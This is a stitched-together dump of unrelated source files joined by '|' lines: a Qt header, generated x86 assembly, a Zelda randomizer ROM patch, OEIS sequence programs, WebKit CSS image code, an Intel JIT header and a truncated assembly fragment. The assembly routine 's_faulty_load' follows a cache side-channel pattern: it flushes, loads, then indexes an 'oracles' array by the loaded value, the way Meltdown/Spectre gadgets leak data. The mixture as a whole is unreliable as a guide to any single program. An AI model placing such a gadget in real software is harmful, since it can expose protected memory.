obtaining a copy of this software and associated documentation
files (the "Software"), to deal in the Software without
restriction, including without limitation the rights to use,
copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following
conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
*/
#ifndef QTMWIDGETS_UTILS_HPP_INCLUDED
#define QTMWIDGETS_UTILS_HPP_INCLUDED
// Qt include.
#include <QString>
#include <QStyleOption>
#include <QRect>
namespace QtMWidgets {
QString
accomodateString( const QString & text, const QRect & r,
int flags, const QStyleOption & opt );
} /* namespace QtMWidgets */
#endif // QTMWIDGETS_UTILS_HPP_INCLUDED
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x13365, %rax
cmp %rdx, %rdx
movb (%rax), %r12b
nop
nop
nop
nop
xor %rdi, %rdi
lea addresses_WT_ht+0x10f9d, %r11
nop
nop
nop
dec %r10
mov $0x6162636465666768, %r9
movq %r9, %xmm6
vmovups %ymm6, (%r11)
sub %rdi, %rdi
lea addresses_A_ht+0x13bd5, %rsi
lea addresses_A_ht+0x1db15, %rdi
nop
sub %r12, %r12
mov $5, %rcx
rep movsl
dec %r9
lea addresses_D_ht+0x2615, %r11
nop
cmp %rdx, %rdx
movw $0x6162, (%r11)
nop
nop
and %r10, %r10
lea addresses_WT_ht+0x12b55, %rsi
nop
nop
nop
xor %r11, %r11
mov $0x6162636465666768, %r10
movq %r10, %xmm4
vmovups %ymm4, (%rsi)
nop
and $22773, %r10
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %r15
push %r8
push %rdi
push %rsi
// Store
lea addresses_A+0x11595, %rdi
clflush (%rdi)
nop
cmp %r14, %r14
movl $0x51525354, (%rdi)
nop
dec %r8
// Load
lea addresses_UC+0x1f395, %r12
nop
nop
cmp $63245, %r15
mov (%r12), %r11
nop
nop
nop
nop
nop
cmp %rdi, %rdi
// Store
lea addresses_US+0x15315, %r8
nop
nop
nop
xor $43654, %r12
movw $0x5152, (%r8)
nop
nop
and $57120, %rdi
// Faulty Load
lea addresses_normal+0x5b15, %r15
nop
nop
nop
nop
xor %rsi, %rsi
mov (%r15), %r11
lea oracles, %rdi
and $0xff, %r11
shlq $12, %r11
mov (%rdi,%r11,1), %r11
pop %rsi
pop %rdi
pop %r8
pop %r15
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 2, 'same': True}, 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
!ADD = "CLC : ADC"
!SUB = "SEC : SBC"
!BLT = "BCC"
!BGE = "BCS"
!INVENTORY_SWAP = "$7EF38C"
!INVENTORY_SWAP_2 = "$7EF38E"
!NPC_FLAGS = "$7EF410"
!NPC_FLAGS_2 = "$7EF411"
!MAP_OVERLAY = "$7EF414" ; [2]
!PROGRESSIVE_SHIELD = "$7EF416" ; ss-- ----
!HUD_FLAG = "$7EF416" ; --h- ----
!FORCE_PYRAMID = "$7EF416" ; ---- p---
!IGNORE_FAIRIES = "$7EF416" ; ---- -i--
!SHAME_CHEST = "$7EF416" ; ---s ----
!HAS_GROVE_ITEM = "$7EF416" ; ---- ---g general flags, don't waste these
!HIGHEST_SWORD_LEVEL = "$7EF417" ; --- -sss
!SRAM_SINK = "$7EF41E" ; <- change this
!FRESH_FILE_MARKER = "$7EF4F0" ; zero if fresh file
!MS_GOT = "$7F5031"
!DARK_WORLD = "$7EF3CA"
!REDRAW = "$7F5000"
!GANON_WARP_CHAIN = "$7F5032";
!TILE_UPLOAD_BUFFER = "$7EA180";
!FORCE_HEART_SPAWN = "$7F5033";
!SKIP_HEART_SAVE = "$7F5034";
!INVENTORY_SWAP = "$7EF38C"
!INVENTORY_SWAP_2 = "$7EF38E"
!ITEM_LIMIT_COUNTS = "$7EF390"
!SHOP_PURCHASE_COUNTS = "$7EF3A0"
!MULTIWORLD_GIVE_INDEX = $19EE
!MULTIWORLD_SWAP = $19F0
!MULTIWORLD_PICKUP = $19F2
!MULTIWORLD_GIVE_PLAYER = $19F4
!MULTIWORLD_GIVE_ITEM = $19F6
!MULTIWORLD_DIALOG = $19F8
!MULTIWORLD_DIALOG_ITEM = $19FA
!MULTIWORLD_DIALOG_PLAYER = $19FC
!MULTIWORLD_DELAY = $19FE
incsrc hooks.asm
incsrc treekid.asm
incsrc spriteswap.asm
incsrc sharedplayerpalettefix.asm
incsrc fairyfountainrooms.asm
org $cae980 ; Free space in SM bank 8a
base $8ae980
incsrc newitems.asm
warnpc $8affff
org $f88000 ; Bank B8 (Free space in SM)
base $b88000
incsrc itemdowngrade.asm
incsrc bugfixes.asm
incsrc darkworldspawn.asm
incsrc lampmantlecone.asm
incsrc floodgatesoftlock.asm
incsrc heartpieces.asm
incsrc npcitems.asm
incsrc utilities.asm
incsrc flipperkill.asm
incsrc pendantcrystalhud.asm
incsrc potions.asm
incsrc shopkeeper.asm
incsrc bookofmudora.asm
incsrc tablets.asm
incsrc rupeelimit.asm
incsrc fairyfixes.asm
incsrc medallions.asm
incsrc inventory.asm
incsrc zelda.asm
incsrc maidencrystals.asm
incsrc zoraking.asm
incsrc catfish.asm
incsrc flute.asm
incsrc dungeondrops.asm
incsrc halfmagicbat.asm
incsrc mantle.asm
incsrc swordswap.asm
incsrc map.asm
incsrc dialog.asm
incsrc events.asm
incsrc entrances.asm
incsrc heartbeep.asm
incsrc capacityupgrades.asm
incsrc doorframefixes.asm
incsrc music.asm
incsrc roomloading.asm
incsrc icepalacegraphics.asm
incsrc rngfixes.asm
incsrc openmode.asm
incsrc stats.asm
incsrc textskip_functions.asm
incsrc itemtext.asm
incsrc textrenderer.asm
incsrc quickswap.asm
warnpc $b8ffff
org $1C8000 ; text tables for translation
incbin data/i18n_en.bin
warnpc $1CF356
org $c7fa00
base $87fa00
incsrc framehook.asm
org $c7fb00
base $87fb00
incsrc hud.asm
org $c7ff00
base $87ff00
incsrc init.asm
org $400000 ; Bank 40
incsrc tables.asm
org $500000
GFX_New_Items:
incbin data/newitems.gfx
warnpc $504000
org $504000
GFX_SM_Items:
incbin data/newitems_sm.gfx
warnpc $508000
org $510000 ; bank #$31
GFX_Mire_Bombos:
incbin data/99ff1_bombos.gfx
warnpc $510800
org $510800
GFX_Mire_Quake:
incbin data/99ff1_quake.gfx
warnpc $511000
org $511000
GFX_TRock_Bombos:
incbin data/a6fc4_bombos.gfx
warnpc $511800
org $511800
GFX_TRock_Ether:
incbin data/a6fc4_ether.gfx
warnpc $512000
org $512000
GFX_HUD_Items:
incbin data/c2807_v3.gfx
warnpc $513000
org $513000
GFX_HUD_Main:
incbin data/c2e3e.gfx
warnpc $513800
org $513800
GFX_Hash_Alphabet:
incbin data/hashalphabet.chr.gfx
warnpc $514001
org $514000
IcePalaceFloorGfx:
incbin data/ice_palace_floor.bin
warnpc $51C801
org $530000
GFX_HUD_Palette:
incbin data/hudpalette.pal
;org $520000
;Extra_Text_Table:
;incsrc itemtext.asm
;================================================================================
org $119100 ; PC 0x89100
incbin data/map_icons.gfx
warnpc $119401
org $5f0000
incsrc eventdata.asm
;================================================================================
;================================================================================
;Bank Map
;$20 Code Bank
;$21 Reserved (Frame Hook & Init)
;$22 Contrib Code
;$23 Stats & Credits
;$24 Code Bank
;$29 External hooks (rest of bank not used)
;$2E Reserved for Tournament Use
;$2F Static RNG (rest is reserved for tournament use)
;$30 Main Configuration Table
;$31 Graphics Bank
;$32 Text Bank
;$33 Graphics Bank
;$37 Don't Use ZSNES Graphics
;$38 Don't Use ZSNES Graphics (continued)
;$3A reserved for downstream use
;$3B reserved for downstream use
;$3F reserved for internal debugging
;$7F5700 - $7F57FF reserved for downstream use
;================================================================================
;org $0080DC ; <- 0xDC - Bank00.asm:179 - Kill Music
;db #$A9, #$00, #$EA
;LDA.b #$00 : NOP
;================================================================================
;org $0AC53E ; <- 5453E - Bank0A.asm:1103 - (LDA $0AC51F, X) - i have no idea what this is for anymore
;LDA.b #$7F
;NOP #2
;================================================================================
;org $05DF8B ; <- 2DF8B - Bank05.asm : 2483
;AND.w #$0100 ; allow Sprite_DrawMultiple to access lower half of sprite tiles
;================================================================================
;org $0DF8F1 ; this is required for the X-indicator in the HUD except not anymore obviously
;
;;red pendant
;db $2B, $31, $2C, $31, $3D, $31, $2E, $31
;db $2B, $25, $2C, $25, $2D, $25, $2E, $25
;
;;blue pendant
;db $2B, $31, $2C, $31, $3D, $31, $2E, $31
;db $2B, $2D, $2C, $2D, $2D, $2D, $2E, $2D
;
;;green pendant
;db $2B, $31, $2C, $31, $3D, $31, $2E, $31
;db $2B, $3D, $2C, $3D, $2D, $3D, $2E, $3D
;================================================================================
;org $00CFF2 ; 0x4FF2 - Mire H
;db GFX_Mire_Bombos>>16
;org $00D0D1 ; 0x50D1 - Mire M
;db GFX_Mire_Bombos>>8
;org $00D1B0 ; 0x51B0 - Mire L
;db GFX_Mire_Bombos
;org $00D020 ; 0x5020 - Trock H
;db GFX_TRock_Bombos>>16
;org $00D0FF ; 0x50FF - Trock M
;db GFX_TRock_Bombos>>8
;org $00D1DE ; 0x51DE - Trock L
;db GFX_TRock_Bombos
org $00D09C ; 0x509C - HUD Items H
db GFX_HUD_Items>>16
org $00D17B ; 0x517B - HUD Items M
db GFX_HUD_Items>>8
org $00D25A ; 0x525A - HUD Items L
db GFX_HUD_Items
; this used to be a pointer to a dummy file
org $00D065 ; 005065 - New Items H
db GFX_New_Items>>16
org $00D144 ; 005114 - New Items M
db GFX_New_Items>>8
org $00D223 ; 005223 - New Items L
db GFX_New_Items
org $00D09D ; 0x509D - HUD Main H
db GFX_HUD_Main>>16
org $00D17C ; 0x517C - HUD Main M
db GFX_HUD_Main>>8
org $00D25B ; 0x525B - HUD Main L
db GFX_HUD_Main
;================================================================================
org $008781
UseImplicitRegIndexedLocalJumpTable:
org $00879c
UseImplicitRegIndexedLongJumpTable:
org $008333
Vram_EraseTilemaps_triforce:
org $00893D
EnableForceBlank:
org $00D308
DecompSwordGfx:
org $00D348
DecompShieldGfx:
org $00D463
Tagalong_LoadGfx:
org $00D51B
GetAnimatedSpriteTile:
org $00D52D
GetAnimatedSpriteTile_variable:
org $00E529
LoadSelectScreenGfx:
org $00F945
PrepDungeonExit:
org $00FDEE
Mirror_InitHdmaSettings:
org $01873A
Dungeon_LoadRoom:
org $02A0A8
Dungeon_SaveRoomData:
org $02A0BE
Dungeon_SaveRoomData_justKeys:
org $02B861
Dungeon_SaveRoomQuadrantData:
org $02FD8A ; 17D8A - Bank07.asm: 3732 Note: Different bank
LoadGearPalettes_bunny:
org $05A51D
Sprite_SpawnFallingItem:
org $05DF6C ; 02DF6C - Bank05.asm : 2445
Sprite_DrawMultiple:
org $05DF70 ; 02DF70 - Bank05.asm : 2454
Sprite_DrawMultiple_quantity_preset:
org $05DF75 ; 02DF75 - Bank05.asm : 2461
Sprite_DrawMultiple_player_deferred:
org $05E1A7 ; 02E1A7 - Bank05.asm : 2592
Sprite_ShowSolicitedMessageIfPlayerFacing:
org $05E1F0
Sprite_ShowMessageFromPlayerContact:
org $05E219
Sprite_ShowMessageUnconditional:
org $05FA8E
Sprite_ShowMessageMinimal:
org $05EC96
Sprite_ZeldaLong:
org $0683E6
Utility_CheckIfHitBoxesOverlapLong:
org $06A7DB
Chicken_SpawnAvengerChicken: ; returns short
org $06DC5C
Sprite_DrawShadowLong:
org $06DD40
DashKey_Draw:
org $06DBF8
Sprite_PrepAndDrawSingleLargeLong:
org $06DC00
Sprite_PrepAndDrawSingleSmallLong:
org $06EA18
Sprite_ApplySpeedTowardsPlayerLong:
org $06EAA6
Sprite_DirectionToFacePlayerLong:
org $06F12F
Sprite_CheckDamageToPlayerSameLayerLong:
org $06F86A
OAM_AllocateDeferToPlayerLong:
org $0791B3
Player_HaltDashAttackLong:
org $07999D
Link_ReceiveItem:
org $07E68F
Unknown_Method_0: ; In US version disassembly simply called "$3E6A6 IN ROM"
org $07F4AA
Sprite_CheckIfPlayerPreoccupied:
org $08C3AE
Ancilla_ReceiveItem:
org $08F710
Ancilla_SetOam_XY_Long:
org $0985E2 ; (break on $0985E4)
AddReceivedItem:
org $098BAD
AddPendantOrCrystal:
org $0993DF
AddDashTremor:
org $09AE64
Sprite_SetSpawnedCoords:
org $09AD58
GiveRupeeGift:
org $1CFD69
Main_ShowTextMessage:
org $0DBA71
GetRandomInt:
org $0DBA80
OAM_AllocateFromRegionA:
org $0DBA84
OAM_AllocateFromRegionB:
org $0DBA88
OAM_AllocateFromRegionC:
org $0DBA8C
OAM_AllocateFromRegionD:
org $0DBA90
OAM_AllocateFromRegionE:
org $0DBA94
OAM_AllocateFromRegionF:
org $0DBB67
Sound_SetSfxPanWithPlayerCoords:
org $0DBB6E
Sound_SetSfx1PanLong:
org $0DBB7C
Sound_SetSfx2PanLong:
org $0DBB8A
Sound_SetSfx3PanLong:
org $0DDB7F
HUD_RefreshIconLong:
org $0DE01E ; 6E10E - equipment.asm : 787
BottleMenu_movingOn:
org $0DE346
RestoreNormalMenu:
org $0DE9C8
DrawProgressIcons: ; this returns short
org $0DED29
DrawEquipment: ; this returns short
org $0DFA78
HUD_RebuildLong:
org $0DFA88
HUD_RebuildIndoor_Palace:
org $0EEE10
Messaging_Text:
org $1BED03
Palette_Sword:
org $1BED29
Palette_Shield:
org $1BEDF9
Palette_ArmorAndGloves:
org $1BEE52
Palette_Hud:
org $1CFAAA
ShopKeeper_RapidTerminateReceiveItem:
org $1CF500
Sprite_NullifyHookshotDrag:
org $1DF65D
Sprite_SpawnDynamically:
org $1DF65F
Sprite_SpawnDynamically_arbitrary:
org $1DFD4B
DiggingGameGuy_AttemptPrizeSpawn:
org $1EDE28
Sprite_GetEmptyBottleIndex: ; this is totally in sprite_bees.asm
org $1EF4E7
Sprite_PlayerCantPassThrough:
;================================================================================
|
; A267812: Decimal representation of the n-th iteration of the "Rule 217" elementary cellular automaton starting with a single ON (black) cell.
; 1,1,27,119,495,2015,8127,32639,130815,523775,2096127,8386559,33550335,134209535,536854527,2147450879,8589869055,34359607295,137438691327,549755289599,2199022206975,8796090925055,35184367894527,140737479966719,562949936644095,2251799780130815,9007199187632127
trn $0,1
mov $1,1
lpb $0,1
mov $2,$0
mov $0,$3
mov $1,2
add $2,1
pow $1,$2
mov $3,$1
pow $1,2
mul $1,2
sub $1,$3
sub $1,1
lpe
|
; A095311: 47-gonal numbers.
; 1,47,138,274,455,681,952,1268,1629,2035,2486,2982,3523,4109,4740,5416,6137,6903,7714,8570,9471,10417,11408,12444,13525,14651,15822,17038,18299,19605,20956,22352,23793,25279,26810,28386,30007,31673,33384
mov $1,$0
add $1,1
add $0,$1
add $0,5
add $0,$1
sub $0,5
mov $3,5
lpb $0,1
sub $0,1
add $1,$2
add $2,$3
lpe
sub $1,5
|
; A028835: Numbers n such that iterated sum of digits of n is a prime.
; 2,3,5,7,11,12,14,16,20,21,23,25,29,30,32,34,38,39,41,43,47,48,50,52,56,57,59,61,65,66,68,70,74,75,77,79,83,84,86,88,92,93,95,97,101,102,104,106,110,111,113,115,119,120,122,124,128,129,131,133,137,138,140,142,146,147,149,151,155,156,158,160,164,165,167,169,173,174,176,178,182,183,185,187,191,192,194,196,200,201,203,205,209,210,212,214,218,219,221,223,227,228,230,232,236,237,239,241,245,246,248,250,254,255,257,259,263,264,266,268,272,273,275,277,281,282,284,286,290,291,293,295,299,300,302,304,308,309,311,313,317,318,320,322,326,327,329,331,335,336,338,340,344,345,347,349,353,354,356,358,362,363,365,367,371,372,374,376,380,381,383,385,389,390,392,394,398,399,401,403,407,408,410,412,416,417,419,421,425,426,428,430,434,435,437,439,443,444,446,448,452,453,455,457,461,462,464,466,470,471,473,475,479,480,482,484,488,489,491,493,497,498,500,502,506,507,509,511,515,516,518,520,524,525,527,529,533,534,536,538,542,543,545,547,551,552,554,556,560,561
add $0,1
mov $2,$0
lpb $2,1
mov $1,1
mov $3,$2
trn $5,$0
lpb $4,1
trn $4,$3
add $5,4
lpe
add $0,$5
add $0,$1
sub $2,3
trn $2,1
trn $3,2
mov $4,$1
lpe
mov $1,$0
add $1,$3
|
/*
* (C) 1999-2003 Lars Knoll (knoll@kde.org)
* Copyright (C) 2004, 2005, 2006, 2008 Apple Inc. All rights reserved.
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Library General Public
* License as published by the Free Software Foundation; either
* version 2 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Library General Public License for more details.
*
* You should have received a copy of the GNU Library General Public License
* along with this library; see the file COPYING.LIB. If not, write to
* the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
* Boston, MA 02110-1301, USA.
*/
#include "config.h"
#include "CSSImageValue.h"
#include "CSSValueKeywords.h"
#include "Document.h"
#include "MemoryCache.h"
#include "CachedImage.h"
#include "CachedResourceLoader.h"
#include "StyleCachedImage.h"
#include "StylePendingImage.h"
namespace WebCore {
CSSImageValue::CSSImageValue(const String& url)
: CSSPrimitiveValue(url, CSS_URI)
, m_accessedImage(false)
{
}
CSSImageValue::CSSImageValue()
: CSSPrimitiveValue(CSSValueNone)
, m_accessedImage(true)
{
}
CSSImageValue::~CSSImageValue()
{
if (m_image && m_image->isCachedImage())
static_cast<StyleCachedImage*>(m_image.get())->cachedImage()->removeClient(this);
}
StyleImage* CSSImageValue::cachedOrPendingImage()
{
if (getIdent() == CSSValueNone)
return 0;
if (!m_image)
m_image = StylePendingImage::create(this);
return m_image.get();
}
StyleCachedImage* CSSImageValue::cachedImage(CachedResourceLoader* loader)
{
return cachedImage(loader, getStringValue());
}
StyleCachedImage* CSSImageValue::cachedImage(CachedResourceLoader* loader, const String& url)
{
ASSERT(loader);
if (!m_accessedImage) {
m_accessedImage = true;
ResourceRequest request(loader->document()->completeURL(url));
if (CachedImage* cachedImage = loader->requestImage(request)) {
cachedImage->addClient(this);
m_image = StyleCachedImage::create(cachedImage);
}
}
return (m_image && m_image->isCachedImage()) ? static_cast<StyleCachedImage*>(m_image.get()) : 0;
}
String CSSImageValue::cachedImageURL()
{
if (!m_image || !m_image->isCachedImage())
return String();
return static_cast<StyleCachedImage*>(m_image.get())->cachedImage()->url();
}
void CSSImageValue::clearCachedImage()
{
if (m_image && m_image->isCachedImage())
static_cast<StyleCachedImage*>(m_image.get())->cachedImage()->removeClient(this);
m_image = 0;
m_accessedImage = false;
}
} // namespace WebCore
|
/*******************************************************************************
* Copyright 2020-2022 Intel Corporation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*******************************************************************************/
#ifndef BACKEND_GRAPH_COMPILER_CORE_SRC_COMPILER_JIT_JIT_HPP
#define BACKEND_GRAPH_COMPILER_CORE_SRC_COMPILER_JIT_JIT_HPP
#include <memory>
#include <string>
#include <utility>
#include <vector>
#include <compiler/ir/ir_module.hpp>
#include <runtime/context.hpp>
#include <runtime/generic_val.hpp>
namespace sc {
class jit_module;
// A jitted function that can be called in a module
class SC_API jit_function_t {
public:
virtual ~jit_function_t() = default;
virtual std::shared_ptr<jit_module> get_module() const = 0;
virtual void *get_function_pointer() const = 0;
/**
* Calls the generic wrapper function with default stream context. The
* module must have been compiled with `generate_wrapper=true`.
* @param args the arguments
*/
void call_generic_default(generic_val *args) const {
call_generic(runtime::get_default_stream(), args);
}
/**
* Calls the generic wrapper function with default stream context. The
* module must have been compiled with `generate_wrapper=true`.
* @param args the arguments
*/
virtual void call_generic(
runtime::stream_t *stream, generic_val *args) const = 0;
/**
* Calls the generic wrapper function and specifies a user-defined module
* data. The module must have been compiled with `generate_wrapper=true`.
* @param stream the runtime stream context
* @param module_data the module data buffer. It should hold the module
* scope vars and tensors
* @param args the arguments
*/
virtual void call_generic(runtime::stream_t *stream, void *module_data,
generic_val *args) const {
throw std::runtime_error("Not implemeneted");
}
virtual void *get_module_data() const { return nullptr; }
template <typename Ret, typename... Args>
Ret call_default(Args... args) const {
return call<Ret>(runtime::get_default_stream(), args...);
}
template <typename Ret, typename... Args>
Ret call(runtime::stream_t *stream, Args... args) const {
// functype_old is kept for legacy mode for xbyak. Remove this when
// xbyak JIT is updated to new JIT function interface
using functype_old = Ret (*)(Args...);
using functype = Ret (*)(void *, void *, Args...);
assert(get_function_pointer());
auto modu_ptr = get_module_data();
if (modu_ptr) {
return reinterpret_cast<functype>(get_function_pointer())(
stream, modu_ptr, args...);
}
return reinterpret_cast<functype_old>(get_function_pointer())(args...);
}
using generic_wrapper_t = void (*)(sc::generic_val *);
};
// The result of compiling an ir_module_t
class SC_INTERNAL_API jit_module {
public:
statics_table_t globals_;
// the unique id for a JIT module in a process scope
size_t module_id_;
jit_module();
jit_module(statics_table_t &&globals);
virtual void *get_address_of_symbol(const std::string &name) = 0;
virtual std::shared_ptr<jit_function_t> get_function(
const std::string &name)
= 0;
/// This method only exists to help with debugging.
virtual std::vector<std::string> get_temp_filenames() const {
return std::vector<std::string>();
}
virtual ~jit_module() = default;
};
class SC_INTERNAL_API general_jit_function_t : public jit_function_t {
std::shared_ptr<jit_module> module_;
void *funcptr_;
void *wrapper_;
std::string fname_;
public:
void *get_module_data() const override {
return module_->globals_.data_.data_;
}
general_jit_function_t(
std::shared_ptr<jit_module> module, void *funcptr, void *wrapper)
: module_(std::move(module)), funcptr_(funcptr), wrapper_(wrapper) {}
general_jit_function_t(std::shared_ptr<jit_module> module, void *funcptr,
void *wrapper, const std::string &name)
: module_(std::move(module))
, funcptr_(funcptr)
, wrapper_(wrapper)
, fname_(name) {}
std::shared_ptr<jit_module> get_module() const override { return module_; }
void *get_function_pointer() const override { return funcptr_; }
void *get_wrapper_function_pointer() const { return wrapper_; }
void call_generic(
runtime::stream_t *stream, generic_val *args) const override;
void call_generic(runtime::stream_t *stream, void *module_data,
generic_val *args) const override;
};
// jit interface
class SC_API jit_engine_t {
public:
context_ptr context_;
jit_engine_t(context_ptr context) : context_(std::move(context)) {}
// jit an ir_module_t into a jit_module
virtual std::shared_ptr<jit_module> make_jit_module(
const_ir_module_ptr module, bool generate_wrapper)
= 0;
/**
* Generates a executable module and extract the entry function of the
* ir_module_t
* @param m module to generate. Must have entry function defined
* @param generic if true, creates a type-erased wrapper for the
* function, users can further call `call_generic` on the
* generated executable
* @return the executable function for the entry function
* */
std::shared_ptr<jit_function_t> get_entry_func(
const ir_module_ptr &m, bool generic = false);
virtual ~jit_engine_t() = default;
static std::unique_ptr<jit_engine_t> make(const context_ptr &ctx);
// negotiate with the JIT engine and get the target machine with as
// many flags as possible the JIT can support in the user given target
// machine
static void set_target_machine(jit_kind kind, target_machine_t &tm);
};
} // namespace sc
#endif
|
SECTION .DATA
extern a_sig
extern b_sig
extern a_unsig
extern b_unsig
extern x_return
global signedF, unsignedF
; signed
;;;;;;;;;;;;;;;;;;;;;;;;
;a == b
signed_s1:
mov ax, -1d
mov [x_return], ax
ret
;a > b
; a*b-1 если a > b
signed_s2:
mov bx, [b_sig]
mov ax, [a_sig]
imul bx
sub ax, 1d
mov [x_return], ax
ret
;a < b
; a/b+2 , если a < b
signed_s3:
mov ax, [a_sig]
